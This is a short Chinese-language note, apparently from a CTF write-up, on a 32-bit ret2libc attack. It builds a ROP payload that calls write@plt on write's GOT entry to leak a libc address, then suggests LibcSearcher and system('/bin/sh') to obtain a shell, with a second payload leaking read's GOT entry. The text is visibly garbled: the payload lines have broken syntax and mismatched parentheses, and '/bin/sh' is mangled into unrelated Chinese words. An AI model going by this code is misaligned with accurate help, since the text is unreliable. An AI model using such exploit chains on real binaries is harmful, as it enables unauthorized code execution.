size_twrite(intFD,const void*buf,size_t count );
参数说明:
fd:是文件描述符(write是写入,即,对应于1 ) )。
buf:通常是字符串,是需要写入的字符串
写入count次的字节数
Pyload=P32(write_PLT ) P32 ) main ) P32 )1) P32 ) write_got ) P32 ) r.recvuntil ) whatisyourname? ' ) R.Send(Payload )的配置是这样的
首先,写入write函数的plt表地址(write函数的实际地址),然后调用write函数
其次,在函数的返回地址中写入main函数的地址,控制程序执行流程
最后的p32(1) p32 ) write _ got (p32 )4)是为了调用write函数来打印write的got表(write函数的地址),首先调用write函数的参数,为32比特
这个payload会泄露程序中write函数的地址。 利用libcsearcher可以获取这个程序的libc的基地址。 然后,可以构建system () /温暖的车/sh )以获取壳
2 .如果文件包含读函数,则可以返回读的got表
payload='a'*(0x880x4 ) p32 (write _ PLT (p32 ) main _ addr (p32 )1) p32 ) read _ got (p32 )4) ) )